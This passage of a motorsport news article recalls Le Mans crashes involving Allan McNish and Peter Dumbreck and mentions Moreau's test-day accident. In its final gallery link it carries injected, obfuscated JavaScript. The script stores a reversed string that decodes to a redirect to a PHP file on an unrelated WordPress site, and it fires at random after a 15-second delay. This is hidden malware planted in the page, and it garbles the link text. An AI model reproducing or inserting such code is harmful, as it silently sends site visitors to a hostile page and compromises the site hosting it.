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It’s certainly not the first time La Sarthe has bitten back, and hard. Allan McNish went for a terrifying ride last year when his Audi R18 made contact with a GT backmarker, and came scarily close to wiping out a dozen photographers in the process. And it’s unlikely we will forget Peter Dumbreck vaulting the catch fencing in his Mercedes-Benz CLR prototype on the car’s only competitive outing in 1999.
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The Le Mans test day has certainly given the World Endurance Championship following any number of subjects to ponder. But as Moreau’s accident – and varying other events from the 89-year history of the 24 Heures du Mans – have shown, things are never quite as straightforward as they seem.
Images of last year’s Le Mans 24hrs courtesy of Eric Farbe
Check our $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/le-mans-24hrs-2012-preview/” target=”_blank”>the gallery HERE
